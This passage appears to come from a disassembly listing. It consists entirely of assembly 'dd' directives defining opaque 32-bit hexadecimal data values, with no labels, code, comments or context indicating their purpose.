		dd 0EBEBF15h, 76091CB0h, 0BC80904Eh, 8D4613A0h,	24117C00h
		dd 0CB03510Fh, 3FD27073h, 8E026CB2h, 0F2272BF4h, 0E50F9440h
		dd 443AF102h, 0E05D86FBh, 0E4CB0DD1h, 52BE00F0h, 99D76AD0h
		dd 4800478Eh, 0F54A8B56h, 467FA0h, 0C9735CB8h, 0DB53333Dh
		dd 5000FFE0h, 87F4910Dh, 303F114h, 5D121CFEh, 69B8D05Eh
		dd 9407FA2Bh, 900492D3h, 0C0BF46A2h, 7548BB13h,	0F2A00064h
		dd 80BD41D1h, 0AA00E2EEh, 904A347Ah, 7EDD625h, 137309E1h
		dd 0F1910027h, 0AD1CD51Ch, 5A80554Dh, 5BD6EF3Ch, 0F82C00EAh
		dd 0F25948CBh, 0A60068A7h, 423B5009h, 5C745814h, 2000DE03h
		dd 1DAD8D9h, 93005181h,	77BC94Eh, 4211F8h, 0EF5BE1A8h
		dd 0B7D841Bh, 57003A78h, 0C4F71E0Fh, 3F932F15h,	7F1DA8Ch
		dd 0A15F5646h, 0F0ECB1EFh, 0CEE4089h, 9007504h,	0B33DF4AEh
		dd 0F835D3h, 69FEB493h,	0A4A3790h, 4788900h, 0E1316E4Dh
		dd 0E48E674h, 329A2A49h, 435109E0h, 15006A3Ah, 56C93857h
		dd 396872D5h, 0B900240Dh, 0EE2B6F07h, 5E00DA0Bh, 94237050h
		dd 0EFA7A6E2h, 7B555F8h, 1AABBDD3h, 3CB27325h, 59E02293h
		dd 15078441h, 0BDCA64B8h, 90304433h, 0E1A10203h, 0B81EC1D8h
		dd 0D0B0F4h, 0B4C29B1h,	898449BFh, 0D1158C00h, 8DBCE310h
		dd 0F86B007Fh, 0FE3AE17Dh, 31729729h, 678D200h,	0E4B7D54Fh
		dd 0EF030112h, 0C72BF244h, 0F0BAD894h, 9DD72400h, 20A3F1E6h
		dd 0FA1F0049h, 4DC51484h, 3B031C54h, 0C24AC85h,	1011F8FEh
		dd 28610E67h, 0ED20B015h, 0E9BD82Fh, 0ADD69500h, 0A420341h
		dd 281A0058h, 0DD11A68Eh, 4400A134h, 8D39FF24h,	821348h
		dd 0CC23E809h, 0B0EE3A02h, 833C2600h, 7604FF0Ah, 0AF7C3A0Bh
		dd 9500AC58h, 40670D02h, 121756CDh, 35E8DEC1h, 10089900h
		dd 5E3E5C30h, 280031Fh,	9289D9C3h, 27E8C081h, 0B98F00AEh
		dd 5E11A86Bh, 0E9000187h, 5549C1F3h, 0FDE2BBh, 3C436246h
		dd 0F086890Fh, 34E04400h, 0C29067C3h, 0B9A53A09h, 2D5CAD02h
		dd 0C3878D02h, 38F707Eh
		dd 0EE4FD8C5h, 0C73C74B8h, 797CF102h, 0E075BD86h, 0B85D0F02h
		dd 67754806h, 0D7C9C100h, 2B82837Ch, 5653F700h,	0CB07E985h
		dd 39AC0726h, 8D754h, 6851525Fh, 94AD800h, 875AEA6Ah, 582E0E50h
		dd 9800CB15h, 492C1DD1h, 0BA513Ah, 67B2DF2Ah, 3C0D9969h
		dd 281900Ah, 0FDB7C333h, 0DA2BD8E0h, 4F89BE00h,	0F152A5F7h
		dd 0D3F26DDh, 0C07A1F6Eh, 0D6851CC0h, 0A90079E5h, 42AAB91Bh
		dd 9022A852h, 209D0096h, 0E8A39516h, 0A51CB8A9h, 0B6007B98h
		dd 63EA861Eh, 0BFDA1DC1h, 6E1B0095h, 35D90905h,	726FA902h
		dd 0C046C0DCh, 0A080CAh, 895A0FE2h, 0ADFC5C5Eh,	57A6400h
		dd 1632BBC7h, 0D8120049h, 0EE0191B3h, 0E1005DDCh, 527E5E9Fh
		dd 265ADB8h, 689C819h, 0DAE06885h, 0F701FFC4h, 6423ECD0h
		dd 27D49A61h, 7C70038h,	7E9CD857h, 49008021h, 0C05B3274h
		dd 4858C52Bh, 0E70012A1h, 0D3688410h, 8C001BB6h, 0FA531999h
		dd 76CE4F05h, 898D00C0h, 872212ECh, 0C67BBCB3h,	60296800h
		dd 2B76F74h, 6EE5C7Ch, 0D31DF201h, 0D880926Eh, 22000CF3h
		dd 0DA4AF74Dh, 0F71CA15h, 0A8CE2317h, 8B100943h, 808C5998h
		dd 2B481900h, 254183CBh, 0A0E3F70h, 0C3658A80h,	0D3C1BC20h
		dd 129DAB00h, 3330A1C4h, 4D5B00D9h, 2C606B9Ch, 14703284h
		dd 176C0800h, 0D8878C18h, 0E9050055h, 0F304B963h, 0D200CBA2h
		dd 0EABB4002h, 0F08E9Ch, 0AD0A62ABh, 0E85205F5h, 994B7A0Eh
		dd 7E5C0057h, 0A12B13h,	9DDF8316h, 9EBFE947h, 0F4796B01h
		dd 0DC3FF832h, 737FCB70h, 9D47075Ch, 70FD7382h,	0F0C3B0F2h
		dd 48A6BA04h, 0CF80689Ah, 83AFC2h, 0D28782CAh, 69ABD43Eh
		dd 0CEC032DFh, 0BA5DD7D6h, 50EA68h, 5A1809B1h, 0EC236C67h
		dd 35495Ch, 0D4251210h,	16F8D2h, 4FF1EDEBh, 21B977A2h
		dd 5747A400h, 0A3CF496Fh, 0C5130FA9h, 81E0E97Bh, 16A2274Ch
		dd 0A04D4002h, 80551B89h, 73F1D58Ah, 740B003Ch,	0AA906307h
		dd 0FC001DB4h, 2B9638BDh, 0E62897DEh, 83F504E0h, 83465BF6h
		dd 5DB880C9h, 25006942h, 0CF704B54h, 0FECA0Ch, 8D04F71Bh
		dd 5E437230h, 53C30E0Eh, 57392050h, 0F96B809h, 69D24AAFh
		dd 368C38E0h, 0AD00166Bh, 98B5596Eh, 0ACA370h, 1E7C135Ch
		dd 0B23AF887h, 183BA413h, 0B8824600h, 40B92Ch, 0C0C1FBC8h
		dd 4F73EC48h, 80A58D38h, 1FD1D82Dh, 83635Eh, 0D580DB79h
		dd 3B2F0A6Fh, 53153Ch, 93098AD8h, 3A2B58EEh, 0ED28F04Bh
		dd 4C5F0EBBh, 83200B1Bh, 0FF5905DBh, 0F1002BEEh, 304BF5E6h
		dd 775F5CF7h, 0E9E80325h, 4044E282h, 54DA8180h,	0F267000h
		dd 9E3D0880h, 0C7060051h, 16496AC0h, 68E29024h,	0BF1E39h
		dd 64F8AE7Bh, 93F9F3h, 320A13B0h, 79967755h, 0AB975Ch
		dd 4C9D5FFAh, 0EC78487Ah, 6F7BF1h, 3525D512h, 4FD2B5B3h
		dd 69016377h, 0FB93627Bh, 2E20A5FDh, 0A0B326A4h, 85B40001h
		dd 1289511Dh, 0CBEFD200h, 0B0DC887Dh, 2623005Ch, 14AA73F8h
		dd 2205701Dh, 45788F18h, 0E8D0BE00h, 5E09049h, 9EE22F99h
		dd 8A8AC015h, 1700118Eh, 52C4C8A3h, 993277h, 2AA5760h
		dd 0F52891C9h, 446C9400h, 354A3804h, 0B06900BAh, 4710BCFEh
		dd 360F8437h, 6034AC30h, 3A128868h, 0BA3B3C0Eh,	461C6F80h
		dd 0FFB6D498h, 44C3C200h, 2735503Dh, 2D402D54h,	2A0050FCh
		dd 14DA5E31h, 340E0005h, 0BDBA1201h, 0A81D5BECh, 5D49B20Ch
		dd 12070E9Ah, 0D01CE0h,	92BB876Dh, 0F6F2AE43h, 5605C902h
		dd 0E080F8C6h, 55C2C0h,	1109CA9Ch, 0AB04488Bh, 70DEDC0Fh
		dd 0C9B36039h, 0F656062Fh, 2CA6EE4Fh, 2EF2779Ch, 48340014h
		dd 40190231h, 1A881002h, 60EC4678h, 32B18F0h, 90220442h
		dd 73D38548h, 0A268CB8h, 5A58FEFEh, 3F5CF5h, 1422C37Fh
		dd 5081B5h, 0A015D542h,	0EDEE7152h, 8D8B4405h, 4E800BF8h
		dd 357697Ah, 6F73D883h,	6880C87Ch, 96001FC0h, 58C31BE2h
		dd 0DF8102h, 3D38C46Eh,	8B97E87Ch, 7F87471Ch, 0F0C0309Fh
		dd 691F06E1h, 0EC504B6Dh, 0ABE00AEh, 80954635h,	9FF600E6h
		dd 8F02FF26h, 0C600874Eh, 20E4D003h, 1E2D9798h,	40C35FD7h
		dd 0D411CEB9h, 4B268DD6h, 9A034D5Eh, 0A2977CFEh, 238E4001h
		dd 7AFEFBh, 603C6D5Ch, 76BF3855h, 7EC90900h, 8C58D15Fh
		dd 0F83401C7h, 0C8C19752h, 0C044F89Ch, 0CC000B7Fh, 351A696Bh
		dd 0C6885Bh, 0D3C0EA6h,	0ACE58546h, 0A8D12B00h,	0AFD58A6Dh
		dd 9A30002h, 9F80945Dh,	827DB805h, 0BE45550Eh, 809E29E4h
		dd 7DE022ACh, 172A0056h, 98D743Fh, 4407FE5Ah, 68C3A04Fh
		dd 0A3521240h, 38850043h, 0E4338483h, 650039A4h, 46E0E18Bh
		dd 74C09640h, 4460E13Bh, 0DFF30081h, 5B927A1Dh,	28005853h
		dd 34B8F2D5h, 0D08830h,	0B55F2CA0h, 0FFE06392h,	1D0007B0h
		dd 81044B1Ah, 38276EC6h, 0A6828A56h, 0A3C5208h,	30EF4860h
		dd 0FF6DA00h, 5BB4042Ah, 56DE00F7h, 0C11C40BDh,	5A0396CAh
		dd 0D3FA79E4h, 0F2DC803Fh, 817D4Ch, 30990198h, 0D8C15A9Fh
		dd 0E9562F00h, 4F0858B5h, 5E8CBh, 0A4AC9A5Fh, 5E25D60Bh
		dd 8F6A9801h, 6D220E44h, 0B7896130h, 0B0009470h, 47540946h
		dd 6A5A4Dh, 305E04Ch, 1EE97C3h,	8F70CDE6h, 0D4107600h
		dd 92565F3h, 0E471003Bh, 0B5E683E0h, 56008DF1h,	3E3A6253h
		dd 663255h, 0E8133FC4h,	704418C9h, 908BD100h, 75FF855Eh
		dd 0E009004Fh, 0C440FC14h, 3B0048EBh, 0C70384FDh, 0CDB90h
		dd 5A9713E8h, 0FCC09819h, 70B40719h, 0ECC06C7Ah, 680C0074h
		dd 0B7E65E48h, 12002503h, 0A39CE154h, 4C133736h, 6F07E455h
		dd 0C05D1BC8h, 0EB0405D1h, 96005172h, 0E81E2206h, 1FBA6EFh
		dd 97B8FAAAh, 0D85289D5h, 76091D45h, 0FEC06638h, 0C1C20791h
		dd 3C0DB0E8h, 1070786h,	48FD2372h, 0D8054AB3h, 5C11EBh
		dd 0FFF1B06h, 66F74C33h, 5E012F00h, 6B58956Eh, 2760398h
		dd 0C875314Eh, 0D9D285D8h, 0F7AA92Ch, 72B4660Fh, 60339C0Eh
		dd 48519F8Ch, 67E200C9h, 0E127C279h, 6A00A149h,	0ED110BC6h
		dd 192B36Dh, 1A18D80Ch,	0FC9C9FFCh, 2D5C4AB0h, 86940BE0h
		dd 603F8E42h, 0F2290470h, 0E0460719h, 2095548Bh, 0BDE49A4Eh
		dd 348A000h, 7589E805h,	0BFF01Ah, 709563DEh, 2BC81F5Eh
		dd 4D450A00h, 9BB8DF0h,	0FD1200B4h, 0A5F2CD27h,	0EF000E48h
		dd 8939E1FEh, 0EA4F87Dh, 0C350914h, 7EF40B60h, 0FE0EEBDBh
		dd 0C00F6711h, 0D581514Ah, 0A1273B74h, 8706B07h, 85AE2054h
		dd 0D1E6BF91h, 9555E301h, 120B9288h, 5A99B140h,	7A3201D7h
		dd 558D90DDh, 0E7D9F768h, 0ECC9E142h, 0B500FF1Ch, 289DC374h
		dd 0F8B0F9h, 4D60E91Eh,	1DF4F74Bh, 29A03500h, 78543C68h
		dd 0D9740523h, 80F03A28h, 0EA1ACECh, 16999A00h,	6E090DECh
		dd 50301E83h, 7CE8400Fh, 0E40CB8D9h, 5D4AC300h,	0D3DDE7ACh
		dd 29BF00F4h, 7C623BFEh, 0FB0002D4h, 0AADF251Ah, 3848376Ah
		dd 0C00D35Dh, 0BA74B81Ch, 900A142h, 54ACDD20h, 3FC9AB9Ah
		dd 1C80F059h, 0C59DB77Bh, 2B000C2Fh, 0BF283D02h, 251840h
		dd 7295A8C3h, 49BE59D3h, 68380B7Ch, 0D88F001Ah,	0BBEDEB52h
		dd 9C960BDBh, 667E668Bh, 0A0396E0Fh, 31AAE3CBh,	0F6020012h
		dd 5D6BEBBh, 8C00C3D8h,	0A137A4DFh, 47CF65h, 57804F18h
		dd 85762EB8h, 9B3A211Dh, 0D0AA0B80h, 0E0010D90h, 81500155h
		dd 0F4E96E7h, 2DB27079h, 8BE93E00h, 1357D820h, 92C0065h
		dd 0C001FE28h
		dd 0C500BE69h, 7B403FE0h, 0C6CBE7h, 619C4E35h, 27848D81h
		dd 702DEC00h, 3DB4564Ah, 806D3F2Fh, 2A425400h, 0E4CEEA83h
		dd 0D0598C00h, 0CF027BFAh, 0EEBF019Bh, 7D6456Ah, 99002ECBh
		dd 4E971ABBh, 24F00158h, 65421683h, 60D1C407h, 8395AB3Ch
		dd 21D705ACh, 729DD03Eh, 0B7F00CBh, 0C92B10F1h,	4009F14h
		dd 0FE71BB9Eh, 2CAA8Ah,	7240CEAh, 6850ED59h, 8C991C00h
		dd 0CE27A3CAh, 8D1304BAh, 81E61878h, 303806ADh,	1D007588h
		dd 0B92FB2A1h, 85DF89h,	0E71FB80Fh, 1EAA5CA2h, 442B0200h
		dd 0FED28D3Fh, 83E40091h, 10DDF63Dh, 6A001509h,	0AB90428h
		dd 0D32995h, 2C8BC45Dh,	8A51351Fh, 1EFC3D00h, 0D4B90C63h
		dd 0CA69002Eh, 5B747ADDh, 5803B2A3h, 42AE0725h,	0B8FDCB96h
		dd 1314172Bh, 92288Bh, 4E1D08D9h, 0E900E10Dh, 2D265AB3h
		dd 3F12A815h, 621EDE85h, 5709C05Fh, 264B44EEh, 82DFA900h
		dd 9432B8EAh, 291A03A8h, 5CB30805h, 490159D0h, 1346EB00h
		dd 0D93FB0BFh, 18113D1Bh, 0C92A4B80h, 42213169h, 58E36A00h
		dd 769A95DAh, 6EFE0241h, 39F35307h, 89CDB140h, 28D62C00h
		dd 0D7A7E8E1h, 0D92048A5h, 50DC9505h, 5111815Ah, 91B36085h
		dd 0F60E2300h, 0CDE8140Bh, 0C925005Bh, 2E2AEDDFh, 0D0001511h
		dd 0A4BA12B3h, 79D9AEh,	18B03D93h, 457B3C01h, 3B399F00h
		dd 2911E789h, 106700A4h, 0A32A57F7h, 0CD00BFABh, 6C9C2C72h
		dd 3944F423h, 6B976379h, 0E45E0014h, 0B43E91ABh, 1D00C0EAh
		dd 98F9754Ah, 0C422BFh,	66264CDBh, 7E7335E1h, 2B294500h
		dd 0B634AED6h, 0E5D10ED5h, 49AF30BAh, 8100AD0Eh, 21440DEh
		dd 7D9A3400h, 7F976801h, 0C1FF0FFBh, 5E8060CEh,	4617D64Eh
		dd 1318F600h, 0F8203168h, 5A613894h, 0BAD8E802h, 0D8E05DA1h
		dd 0C30F968Bh, 187500Eh, 0D0F73544h, 3EEE2C4h, 6B27178Fh
		dd 0C898209Eh, 5E00585Fh, 8ECE8B26h, 0BF7C05h, 0B41F84F6h
		dd 515A384Fh, 0B1730B79h, 2B891C01h, 0F19B705Ch, 3F987FE8h
		dd 611DA75Ah, 0F98D402Fh, 5F0FEA60h, 0E6810100h, 0E3B40E1Ah
		dd 7138005Eh, 0B7842C2h, 207B2F9h, 5A9B7554h, 5C69BF40h
		dd 0AF0958C7h, 0EB86C17h, 0E5C0E1E5h, 820A7EA0h, 0A2D90E00h
		dd 0F069DA35h, 0BFE93D96h, 97E8D780h, 0F52530DEh, 8A65B900h
		dd 4ABDE605h, 128F7F70h, 4F6722h, 397243D8h, 17001003h
		dd 5D330450h, 2EDCD489h, 3F1209FFh, 8FCB180h, 1F8A24E8h
		dd 0E592BD03h, 98C9BB17h, 0B9A36Ah, 2F85CA4Eh, 611A90Ah
		dd 21CB7E00h, 0AA55E7EAh, 0FEF54C76h, 0FBE43000h, 4B878847h
		dd 97592900h, 0DA78D901h, 4E4500B6h, 0BCF9C42Ch, 4B00C5B2h
		dd 0AD62FB04h, 4D45FFCh, 6BDB4966h, 1038C01Ch, 0B0712574h
		dd 0F647241Fh, 0FB8CD400h, 94CAD5h, 0AB353DA6h,	0A4D1DC14h
		dd 60AD8401h, 10B84002h, 7055A30h, 0DFF532BDh, 3BFFA092h
		dd 0CC005129h, 43393E0Eh, 0A0193Ah, 0E905FDA4h,	7EB85ADh
		dd 0DD63BF00h, 0DE5AF957h, 1F782Bh, 77E9C592h, 4527F548h
		dd 0B7CDD807h, 78D29990h, 43607570h, 4003401h, 0CFC156B5h
		dd 0CC2003h, 31F7805Fh,	76381A1Dh, 87DF4000h, 6AC5C1EFh
		dd 0EF555C4Ah, 1D771307h, 240E10ADh, 8B000F46h,	700884DEh
		dd 76FE80BBh, 1EC900B6h, 0EFE76ABFh, 0F0004A49h, 5AEB90E5h
		dd 855886h, 0EBEDD76h, 5DE1C11Ah, 1DBAA200h, 0CEA94047h
		dd 2CA79099h, 0B9C556h,	68BE0FFDh, 98004502h, 6F7030D1h
		dd 58E84Dh, 2B5B09D4h, 83D05EF3h, 0D8134103h, 0A8A07D4Fh
		dd 124750h, 8C2BB696h, 431CC129h, 8700E0E4h, 0D0835159h
		dd 0D6BBCFh, 32A09564h,	2709DF3h, 4B003B71h, 0BBE5C380h
		dd 0F7B99Bh, 0BC44B5DBh, 0C1145E99h, 4390D3FFh,	0AF07602Dh
		dd 782B353Bh, 0AC3ECB00h, 0F5BECA8h, 5D64D1C1h,	6DC269C0h
		dd 8200748Fh, 0F461662Fh, 0E6F5540h, 9EA03009h,	48FC1800h
		dd 0EE00B85Eh, 0D4E14AD7h, 0D2E226h, 2F78B1B0h,	0DB30718Dh
		dd 0FA4F2300h, 4CC169B2h, 76740FCAh, 40FE8DCh, 1D143580h
		dd 6404EB8Ch, 0C0E1D473h, 9BB27EC0h, 6872C1h, 245FD5D7h
		dd 408ADC4Dh, 21E2BE00h, 1437CB89h, 0C0040123h,	36E840Fh
		dd 2594E0E1h, 3BD43001h, 2932C9C5h, 0A07930h, 70681821h
		dd 8557C4FFh, 0F5EFFD00h, 0D3D92940h, 44C900BFh, 0B8CA3C4Ch
		dd 0D0BF2D04h, 75FF0037h, 0F31860E1h, 0A902E810h, 93C5B023h
		dd 0D8D6001h, 0D3DA3E98h, 0B6672880h, 0A66891F0h, 0D3BCB55Ah
		dd 0C5819D00h, 0AAAF0D10h, 8C2A3Dh, 0E21145A7h,	841F4Ch
		dd 992CE428h, 0D3F86342h, 0FAC84300h, 0A8D64672h, 0C23009Ah
		dd 0B8A6F7C4h, 0DFA0CBE1h, 3E0FC322h, 20FC4D74h, 59D9BE08h
		dd 0EC5BE02Bh, 0A4F90237h, 0B9FF8895h, 0F527B560h, 0AB009279h
		dd 94665716h, 7E3FE2BFh, 0CC1227C5h, 47036F76h,	0F8779BB5h
		dd 567E48h, 1CE3B130h, 9CD92B53h, 1CE1760h, 16AD5D98h
		dd 0A736AEh, 1018FF8Fh,	0C001B8Bh, 80957C0Bh, 9D7330Dh
		dd 15030668h, 4ABA6A01h, 7BA8F86Eh, 332EC20Eh, 0CAC10140h
		dd 5C604218h, 0FCEE00C0h, 0C28BF410h, 9017198h,	27CB1FDCh
		dd 1C076C6h, 571403E9h,	51505C38h, 4C806880h, 581ABF00h
		dd 0B998C887h, 181900ECh, 0E49D960h, 3B0EF529h,	69CC4164h
		dd 60C78FC0h, 51604612h, 3FE900D1h, 71093827h, 8F00408Dh
		dd 0DC059E7Eh, 1C0FF02Bh, 73591Ch, 4EBE2595h, 9D764610h
		dd 0C118D600h, 232C20F6h, 0B76E080h, 1FEE81D4h,	30050DEh
		dd 0DAC0A54Eh, 53E8015Dh, 9958790h, 0F270FCB6h,	88510A00h
		dd 45C73A08h, 298400B0h, 0A2094AB2h, 0C5022B9Fh, 0C01CCFD6h
		dd 81B9C040h, 861439C6h, 50A32900h, 0AEBE074Dh,	942D300h
		dd 0E06F9840h, 63351F27h, 0F10443F0h, 0FDC8D53Dh, 6D0008EAh
		dd 0D12B84D0h, 33AF5Ah,	0A925DA34h, 0F30A6995h,	498A3801h
		dd 51E34AD6h, 0F4E48A70h, 7EA301EBh, 4383029Dh,	70A2F048h
		dd 4A015872h, 398BE017h, 0AE405AA1h, 0F76B82h, 83420A30h
		dd 242B0DD8h, 0F00080EEh, 45AF4F59h, 2F79850h, 0FABE0106h
		dd 34DC4774h, 82845703h, 0E0DEF31Ch, 3B4E813h, 0D64D8BC5h
		dd 0A0EF8350h, 5BEE2D5Ah, 0D0D29300h, 0E1F66BF1h, 598A382Bh
		dd 0F0BA7500h, 0FA8BE5F2h, 0E9330503h, 0C36AA881h, 8CDE80FBh
		dd 0A43A0084h, 734EE85Eh, 88047420h, 48BF2C1Dh,	97AB2D80h
		dd 0F5C50096h, 4F9EF370h, 920098E5h, 3EBF0CE9h,	6C48F2h
		dd 1764BADAh, 22566A24h, 5C50E400h, 8C579237h, 3C0AE2D8h
		dd 6C80233Ch, 15484BDFh, 2EB09968h, 83355E0Eh, 8809E65h
		dd 5A20A228h, 0C0A600C5h, 0BEC6C73Dh, 6F055F2Fh, 5772DB02h
		dd 8AC27780h, 0CE10000Dh, 1EB13BB8h, 93F8521Fh,	6500ADEAh
		dd 40BD2B7Fh, 17F7EF05h, 0BE15D24Ch, 0F1546800h, 1EA9B262h
		dd 0C0A4DFF8h, 351930B0h, 53005137h, 4F8C7AF2h,	35AB856h
		dd 0C07D2205h, 58ABDF16h, 770840F8h, 0E97F3F00h, 0C3C43A0Ah
		dd 4B931C79h, 0BC8BC005h, 0F91B2D2Ah, 0D2005979h, 0C90B44C7h
		dd 3D80CBh, 87D4DBF6h, 7B8BF165h, 0ED5B8C01h, 5E4652EFh
		dd 0E87E05E4h, 602809CCh, 0EA805D5Ch, 120D458Ch, 88D61300h
		dd 0A097D554h, 5AC20E11h, 80E75D5Fh, 0BB86E178h, 0D505303Ch
		dd 0DA232500h, 9285F87Fh, 0D70B00E8h, 42F92C5Fh, 800098A1h
		dd 7E2FBFD0h, 7F2D66E2h, 1EB049h, 0BE4B6AB5h, 0A1583883h
		dd 0AFF0DA00h, 252BF128h
		dd 7E9D0024h, 700C3A07h, 5C031194h, 0DE8C273Bh,	0CFA6A8F1h
		dd 8DC700C0h, 753EEDB9h, 2B038BC9h, 7CE457F9h, 0CE34B87Eh
		dd 0E07800C8h, 1B0B934Ch, 0F700E313h, 10E94A80h, 7560B45Fh
		dd 0D2BF0077h, 0E49548B5h, 8B1C2496h, 0A30017F9h, 2BB3BB08h
		dd 0EBB800D7h, 2F925A5Eh, 9A004BFDh, 18E08180h,	72A703h
		dd 0B9C3588Eh, 8DDE56AAh, 26A0700h, 889A0E4Bh, 0EC7650h
		dd 80BFB2F3h, 766D9C36h, 7805B700h, 985230C4h, 0EEA9F0D5h
		dd 0CE3300A1h, 2213F628h, 40008029h, 95DB84CCh,	168D6D53h
		dd 0ACA57Fh, 549DABB5h,	15005871h, 9EA8AF6h, 3DA45BFFh
		dd 4C02DD6Bh, 0B192C238h, 0D342B480h, 450717EBh, 60CF71B3h
		dd 0E8020530h, 13A0013h, 5468555Dh, 0DB0079F8h,	0F52C04D7h
		dd 557E7h, 882E1116h, 566F0FBDh, 0E3603A00h, 135EF2AAh
		dd 48CE0090h, 0B43F9DEEh, 0F30F3316h, 2CCD86A0h, 9D62261h
		dd 8F952049h, 87237F07h, 5DDE5005h, 0DA026192h,	6536AFF7h
		dd 2E9B6043h, 0FB9A0024h, 5C852A17h, 0B300F482h, 0B6037C2h
		dd 7F9D87C8h, 6B811DA9h, 0E9C34026h, 84D97F0Eh,	56C76027h
		dd 0D0430A37h, 836E00FFh, 1C11440Bh, 80DB1B3Ch,	0D39CCE6Fh
		dd 584155h, 0CBC2C509h,	0D543706Ah, 780DF900h, 0B189A75h
		dd 16BE0348h, 859F89A6h, 38A8E780h, 94EE1000h, 81C8284Eh
		dd 0CDC10005h, 0A23D3AF5h, 0B20001BCh, 8DE767E9h, 9236F1h
		dd 419CC624h, 315C458Eh, 0B3B3F07h, 2925178Bh, 0AB5937C0h
		dd 15E426h, 0B3588A37h,	0D8DC015Eh, 77DFC100h, 82E4C92Fh
		dd 0B85F0765h, 0A0631516h, 49B0CEA8h, 373BE100h, 87511450h
		dd 0F6540019h, 0C85E8D93h, 9209E6B9h, 560174B2h, 238B3AB4h
		dd 5F833372h, 0C0FC097Ah, 0B1244B1h, 17C00E00h,	0D55C18EEh
		dd 1BA00F3h, 0CAB1FE6Eh, 4B09EA81h, 81C10D9Eh, 0B8400355h
		dd 5D0030h, 8387337Ch, 0FF38A4E8h, 0BAF84300h, 8A5CD42Eh
		dd 33120028h, 5005665Ah, 3BE06DF7h, 0FAB80F0Fh,	0FE2980A8h
		dd 58FCD8h, 51CB2B02h, 0D672438Fh, 0D127A700h, 31E64BB5h
		dd 40B324A0h, 0CFF90EFAh, 462ECE60h, 35385849h,	80853D1Eh
		dd 8BE35A3Fh, 325A9EAh,	19C540D0h, 0BF956A5h, 0D40E668h
		dd 4B0390AAh, 0D530D1D6h, 0E304E988h, 0B9E7ECD1h, 64E8C0B4h
		dd 5D2D00EAh, 22EB43B8h, 0F40FFB9Dh, 0E0680A41h, 0D87E6FA7h
		dd 5E5F3FF0h, 5058D900h, 0DE9F3035h, 7772D009h,	0E8048071h
		dd 1032B9Ch, 0EFCD6132h, 0D0D724EEh, 11071D6Bh,	1B17EA02h
		dd 2D25B590h, 0BA05008Dh, 0B84AB604h, 0D2FCC414h, 0C9EFA324h
		dd 0D52B1000h, 0FFDFE4h, 0BA243250h, 96A1267Bh,	2C895A00h
		dd 1BE04B3Ah, 1A72B9h, 79C91CFFh, 0C01D999h, 6987D00h
		dd 0C1F2854Bh, 0A6E1002Fh, 8C0290FAh, 0DF778A10h, 0A4E4FF1Eh
		dd 0C8005E9Dh, 851B513Ch, 0F583175Dh, 1C7008Ah,	5FDBCECh
		dd 0F7B4F10Fh, 36540D1h, 0D5C1E5h, 0C8A752BEh, 0B795DCFh
		dd 0FE82AA00h, 201B11ABh, 0D7040038h, 0E9EABF57h, 850748C0h
		dd 3B731DFh, 0B8815440h, 65BA0012h, 38F04B4Fh, 0ED008309h
		dd 30C1FE88h, 1F1CD9D7h, 40723594h, 50753AFCh, 210360AEh
		dd 4E2ADDA1h, 9A1580D3h, 35BC098Dh, 9200CDA8h, 7366D434h
		dd 0B9048100h, 4F969180h, 47DA07C1h, 1308896Ch,	5FA858E7h
		dd 79000968h, 81785996h, 18BC813h, 0C7C5C1CEh, 47DE036Fh
		dd 0E6D0D0E0h, 5B7DEA57h, 0C66A0400h, 59AFC29Bh, 0B4840052h
		dd 33AE3E3Dh, 47000991h, 3BB5765h, 0C1320Eh, 0D741C081h
		dd 70486A3Ch, 985FE300h, 5AD62F1Fh, 35A85C0Bh, 56677200h
		dd 0D04EB635h, 56B2600h, 0C7DEABB8h, 0E7F80117h, 8C4C8AE6h
		dd 7E07209Eh, 0BB59130Fh, 0F055C0DCh, 3C2DA1h, 0AC9A7F48h
		dd 9E58341h, 63A3B00h, 2E3207C4h, 5A8B0BF8h, 0E88F3EC3h
		dd 0AD65B21h, 0C8E03AA3h, 476400A1h, 55088EAFh,	32002B09h
		dd 1E7DF05Dh, 15778ABh,	0E5EC542Fh, 0DFF30872h,	619FF6C8h
		dd 2350D700h, 82AB4F56h, 9210000Ch, 0CE8D5C0Ah,	0D100408Bh
		dd 943CBE1Eh, 79B24Bh, 0ED2375B1h, 92D520Dh, 3B289309h
		dd 98658340h, 9D91C876h, 0B5E0A069h, 0C7F90EF2h, 17A75007h
		dd 3871F0EDh, 0DE018302h, 4C5726ADh, 4C60909Ah,	4DCB876h
		dd 810F6646h, 819785D6h, 0C15E7130h, 0C1E06083h, 0E6D5D000h
		dd 15116BD8h, 0C78407B1h, 0C86FC0h, 62080D02h, 0EE6C900h
		dd 0BCE81683h, 0C98A54DBh, 496100B6h, 6320E4B5h, 0FD5C0AC8h
		dd 8D881F6Eh, 78AFFC04h, 0E49A80EBh, 0BD72909Dh, 8041BA38h
		dd 22E6ABF9h, 1E114804h, 80AD3E8Dh, 2EFFE8C6h, 8005C9Fh
		dd 2C98D65Ah, 1E6A53h, 1C1A4CEh, 266F4BA3h, 838D723Ah
		dd 3702C53Fh, 584EC81Dh, 0C4EC29h, 0A3109020h, 0EE07B156h
		dd 52773800h, 0DA0B13DCh, 1EC0FCECh, 0C0438366h, 8123B106h
		dd 380097E3h, 2168A9D0h, 0A0A5DAh, 0AF9AE8C4h, 0F0D150DBh
		dd 0F54B2300h, 0D6F70E04h, 830F00B2h, 0D47505A3h, 93EAB9Ah
		dd 64930CC1h, 71BC4EDh,	0B859907Ch, 0B780BE81h,	0C718D071h
		dd 0E1423700h, 7095A26h, 8E510052h, 38409E25h, 0F5EE682Bh
		dd 2F027100h, 0BA17C2C1h, 557566h, 0A6215DDDh, 0FC8122C9h
		dd 456338h, 0D9F757DCh,	60FABAh, 0EB449F46h, 80C95159h
		dd 0BE71C22Eh, 8095980Bh, 3D6B059Ch, 4A1C1747h,	745200ABh
		dd 8C56856h, 85982E00h,	0E91BB021h, 51441E01h, 359406Fh
		dd 0BC8C2A54h, 0DA07C100h, 0BB535AF5h, 820D0B36h, 0C9D86897h
		dd 0A0484A00h, 615E2649h, 12FB00B3h, 41AFC628h,	0F1CC159h
		dd 0EA00D278h, 5E7335DBh, 0E747E94h, 2852B9C7h,	60F9CB61h
		dd 13448093h, 0E44F08E6h, 1FE10079h, 69CA52BAh,	28000C85h
		dd 4F8F256h, 704BF0h, 0C0AB2B5Ah, 3E5B5E67h, 200A47Bh
		dd 8F530623h, 76F76146h, 0D1350031h, 0BAAA5852h, 6200B50Fh
		dd 0D49675FFh, 54AD98h,	45517E0Bh, 2C6BEA48h, 900B8E6h
		dd 71C18349h, 4EA05Dh, 0CDA64F7Bh, 0D9CA0381h, 5A89301h
		dd 398F5A48h, 7C86570h,	5250E6D6h, 2FB270CFh, 9B90AEB1h
